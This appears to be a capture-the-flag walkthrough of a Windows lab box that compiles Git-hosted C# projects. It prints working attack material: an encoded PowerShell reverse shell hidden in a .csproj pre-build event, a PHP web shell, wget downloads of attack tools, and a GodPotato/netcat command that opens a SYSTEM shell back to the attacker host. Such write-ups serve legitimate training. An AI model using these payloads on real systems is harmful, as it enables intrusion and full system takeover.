Visual
Box info

Nmap
Let's start by enumerating open ports using Nmap
:
szczygielka@hacks$ nmap -sCV -p- 10.129.210.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 14:48 EST
Nmap scan report for 10.129.210.129
Host is up (0.038s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.08 seconds
The Nmap
output shows that only one port is open, it is port 80 with an Apache
HTTP server.
Exploring website
Let's visit the website located at http://10.129.210.129/
using a web browser.

The website appears to allow the compilation of projects in C# and .NET 6.0 platforms. The description on this website suggests that when you upload a link to a Git repository, it compiles the project on the remote machine, and then returns an executable or DDL files.
Let's try to verify whether the functionality of the downloading project works. Let's run the Python HTTP server:
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Let's provide a link to our fake repository and click Submit
button:

After pressing the button, we are redirected to the following page:

The Python HTTP server indicates that the target machine tried unsuccessfully to download the file:
10.129.210.129 - - [26/Feb/2024 16:12:51] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 16:12:51] "GET /info/refs?service=git-upload-pack HTTP/1.1" 404 -
After some time we receive the following error:

Based on the test performed, we already know that this machine is actually trying to download the contents of the Git repository. Cloning the repository seems to work. Now let's test whether the ability to compile projects works. Create an actual Git repository containing a Visual Studio project in C#. Sample .NET 6.0 project we can find in this repository:
We can clone the repository by the following command:
szczygielka@hacks$ git clone https://github.com/hgmauri/sample-dotnet6.git
Cloning into 'sample-dotnet6'...
remote: Enumerating objects: 88, done.
remote: Counting objects: 100% (88/88), done.
remote: Compressing objects: 100% (57/57), done.
remote: Total 88 (delta 30), reused 68 (delta 17), pack-reused 0
Receiving objects: 100% (88/88), 14.27 KiB | 4.76 MiB/s, done.
Resolving deltas: 100% (30/30), done.
Let's go to the .git
directory contained in the solution we downloaded:
szczygielka@hacks$ cd sample-dotnet6/.git
Let's run the following command in this directory:
szczygielka@hacks$ git --bare update-server-info
According to the documentation, this command updates auxiliary info files to help dumb servers. The information available on Stack Overflow indicates that as a dumb server, we can understand all servers containing Git repositories with access over HTTP and every Git repository hosted by this dump server needs to have this command. This command should be executed always after committing changes in a Git repository.
Start the Python HTTP server in this directory as well:
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
In another terminal window we can check whether cloning the repository is working properly:
szczygielka@hacks$ git clone http://10.10.14.73
Cloning into '10.10.14.73'...
Cloning seems to be working fine. We can now upload a link to our repository and try to build the project. After providing the link to the Git repository, we can see that the files have been downloaded from the server:
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /info/refs?service=git-upload-pack HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /HEAD HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/05/306218f2ae3b2ff0d792aa291e31026cd56a1e HTTP/1.1" 404 -
10.129.210.129 - - [26/Feb/2024 20:17:41] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/info/http-alternates HTTP/1.1" 404 -
10.129.210.129 - - [26/Feb/2024 20:17:41] code 404, message File not found
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/info/alternates HTTP/1.1" 404 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/info/packs HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/pack/pack-78ee276625fb2c6e317559f4170c4c6c33bd9946.idx HTTP/1.1" 200 -
10.129.210.129 - - [26/Feb/2024 20:17:41] "GET /objects/pack/pack-78ee276625fb2c6e317559f4170c4c6c33bd9946.pack HTTP/1.1" 200 -
It turns out that the project build failed:

However, the errors received show that this project is actually being built:

Maybe a successful project build won't be necessary. Let's see if we can somehow use the project compilation process in Visual Studio to remote code execution. From information on Stack Overflow, we find out about possible attack vectors for Visual Studio, one of them is the use of pre-build events. Using this attack vector does not force us to build the project correctly because the malicious code should be executed before the project is compiled. Information found on the Internet indicates that in the case of Visual Studio projects, information about the pre-build event should be included in the project file.
From the Microsoft documentation, we find out that when solutions are created and built-in Visual Studio, Visual Studio uses MSBuild to build each project in your solution. Every Visual Studio project includes an MSBuild project file, which is an XML document that contains all the information and instructions that MSBuild needs to build a project, like the content to include, the platform requirements, versioning information, etc., and also build events. The extension of the MSBuild project file depends on the project type, in the case of a C# project it is .csproj
file. In our case project file is the file Sample.DotNet6.Api.csproj
. The documentation of building events contains examples of how to add a pre-build event to the project file. We can do this by adding the following lines of code to the Sample.DotNet6.Api.csproj
file:
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="commands to execute" />
</Target>
Let's search for payload, which should allow us to get a reverse shell. In this case, we will use payload PowerShell #3 (Base64), which can be generated here. Let's add the payload to the Sample.DotNet6.Api.csproj
file:
<Project Sdk="Microsoft.NET.Sdk.Web">
<PropertyGroup>
<TargetFramework>net6.0</TargetFramework>
<LangVersion>preview</LangVersion>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Microsoft.OpenApi" Version="1.3.0-preview" />
<PackageReference Include="Swashbuckle.AspNetCore" Version="6.2.1" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\Sample.DotNet6.Api.Core\Sample.DotNet6.Api.Core.csproj" />
</ItemGroup>
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAxACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" />
</Target>
</Project>
Then, in the solution directory, let's commit the changes made to the file to update the repository:
szczygielka@hacks$ git add .
szczygielka@hacks$ git commit -m "very important changes connected with security"
[main ef0395f] very important changes connected with security
1 file changed, 4 insertions(+)
After that in the .git
catalog we have to update information for the server, by executing this command:
git --bare update-server-info
Once in the .git
directory, let's run the HTTP server to host our solution:
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Let's run the listener on the port that we included in the payload:
szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
and provide a link to our repository:

After a while, we get a connection in the listener:
szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.229.122] 49753
PS C:\Windows\Temp\c56a71ba2dd10196a99bbeaaf883bd\src\Sample.DotNet6.Api>
We have obtained a reverse shell as a user enox
:
PS C:\Windows\Temp\c56a71ba2dd10196a99bbeaaf883bd\src\Sample.DotNet6.Api> whoami
visual\enox
User flag
The user.txt
flag can be found in C:\Users\enox\Desktop
.
Privilege escalation
Shell as LocalService
In the C:\
directory we find xampp
:
PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/5/2022 12:03 PM PerfLogs
d-r--- 6/10/2023 11:00 AM Program Files
d----- 6/10/2023 10:51 AM Program Files (x86)
d-r--- 6/10/2023 10:59 AM Users
d----- 9/19/2023 6:44 AM Windows
d----- 6/10/2023 10:32 AM xampp
XAMPP is an Apache distribution containing MariaDB, PHP, and Perl. The web root directory is located at C:/xampp/htdocs/
. All files placed in this directory should be processed by the web server. Let's go to this directory. Now let's create a simple web shell to find out what permissions this web server is running with:
Set-Content -Path webshell.php -Value "<?php echo shell_exec(`$_GET['cmd'].' 2>&1'); ?>"
Opening the webshell.php
file and setting the cmd
parameter value to whoami
, we find out that the PHP server works as local service
:

So we can get a reverse shell as a local service
. We will use Ivan Sincek's PHP reverse shell from here. We can prepare the revshell.php
file on our attacking machine and run the Python HTTP server. First, prepare the listener on the selected port:
szczygielka@hacks$ nc -lnvp 8080
Then run the Python HTTP server:
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Download the revshell.php
to the target machine:
PS C:\xampp\htdocs> wget http://10.10.14.73:80/revshell.php -OutFile revshell.php
By going to the address we run the script:
http://10.129.210.129/revshell.php
We have a connection:
szczygielka@hacks$ nc -lnvp 8080
listening on [any] 8080 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.212.12] 49697
SOCKET: Shell has connected! PID: 2428
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs>
As we expect, we are local service
user:
C:\xampp\htdocs>whoami
nt authority\local service
Let's check what permissions have been assigned to this account:
C:\xampp\htdocs>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
According to the Microsoft documentation, the current permissions assigned to the local service account are not the default permissions for this account. To try to restore the default permissions for this account, we can use the FullPowers
tool:
Let's download the FullPowers.exe
executable file to our attacking machine from the release page, and then run the Python server:
szczygielka@hacks$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Then, on the attacking machine, run the PowerShell console and download the file:
PS C:\xampp\htdocs> wget http://10.10.14.73:80/FullPowers.exe -OutFile FullPowers.exe
Let's execute the downloaded FullPowers.exe
file:
PS C:\xampp\htdocs> .\FullPowers.exe
[+] Started dummy thread with id 3056
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.
Enumerate our rights again:
C:\Windows\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
We recovered the default privilege set. One of the privileges we now have is SeImpersonatePrivilege
. This privilege can be used to further elevate privileges to obtain access as the system
user. To try to increase our rights and get a reverse shell as thesystem
user, we use the GodPotato
tool:
Let's download the GodPotato-NET4.exe
file from the Release
section to the attacking machine and then rename it:
szczygielka@hacks$ mv GodPotato-NET4.exe GodPotato.exe
Let's also download Netcat for Windows on the attacking machine. Netcat we will need a target machine to get the reverse shell. Then let's run the listener:
szczygielka@hacks$ nc -lnvp 9000
listening on [any] 9000 ...
Now let's download Netcat to the target machine:
PS C:\xampp\htdocs> wget http://10.10.14.73:80/nc64.exe -OutFile nc64.exe
and GodPotao:
PS C:\xampp\htdocs> wget http://10.10.14.73:80/GodPotato.exe -OutFile GodPotato.exe
Let's run GodPotato.exe
, with a command that should allow us to get a reverse shell:
PS C:\xampp\htdocs> .\GodPotato.exe -cmd "nc64.exe 10.10.14.73 9000 -e powershell"
[*] CombaseModule: 0x140736268468224
[*] DispatchTable: 0x140736270774384
[*] UseProtseqFunction: 0x140736270150560
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\dccb8b02-aea8-477d-aa76-82ba577fe2b3\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00001002-0b7c-ffff-561c-c85dc0e25dce
[*] DCOM obj OXID: 0x18b6a98ee0d46e6c
[*] DCOM obj OID: 0xb1ecda27ac059889
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 872 Token:0x808 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2896
We get a reverse shell :
szczygielka@hacks$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.212.12] 49766
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
After executing the whoami
command, we see that we have received a reverse shell as the user system
:
PS C:\xampp\htdocs> whoami
nt authority\system
Root flag
The root flag can be obtained at C:\Users\Administrator\Desktop
.
PS C:\Users\Administrator\Desktop> dir
dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/28/2024 10:30 AM 34 root.txt
Last updated